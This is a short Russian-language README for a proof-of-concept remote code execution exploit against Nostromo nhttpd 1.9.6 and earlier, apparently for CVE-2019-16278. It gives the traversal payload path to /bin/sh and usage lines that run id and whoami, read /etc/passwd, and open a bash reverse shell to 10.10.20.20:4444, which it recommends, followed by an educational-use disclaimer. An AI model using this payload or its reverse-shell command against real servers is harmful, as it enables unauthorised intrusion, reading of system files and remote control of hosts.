
PoC-эксплойт RCE для Nostromo nhttpd ≤ 1.9.6
Уязвимость удаленного выполнения кода в Nostromo nhttpd версиях <= 1.9.6 через обход каталога при обработке HTTP-запросов.
Этот эксплойт использует уязвимость обхода каталога с помощью URL-кодированных символов CRLF (%0d) для доступа к /bin/sh и выполнения произвольных команд.
/.%0d./.%0d./.%0d./.%0d./bin/shecho\necho\n<command> 2>&1python3 cve-2019-16278.py <TARGET_IP> <PORT> <COMMAND>
python3 cve-2019-16278.py 192.168.1.100 80 "id"
python3 cve-2019-16278.py 10.10.10.10 8080 "cat /etc/passwd"
python3 cve-2019-16278.py target.com 80 "whoami"
python3 cve-2019-16278.py 10.10.10.10 80 "bash -c 'bash -i >& /dev/tcp/10.10.20.20/4444 0>&1'"
Рекомендуется reverse shell, иногда этот скрипт ничего не показывает
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным.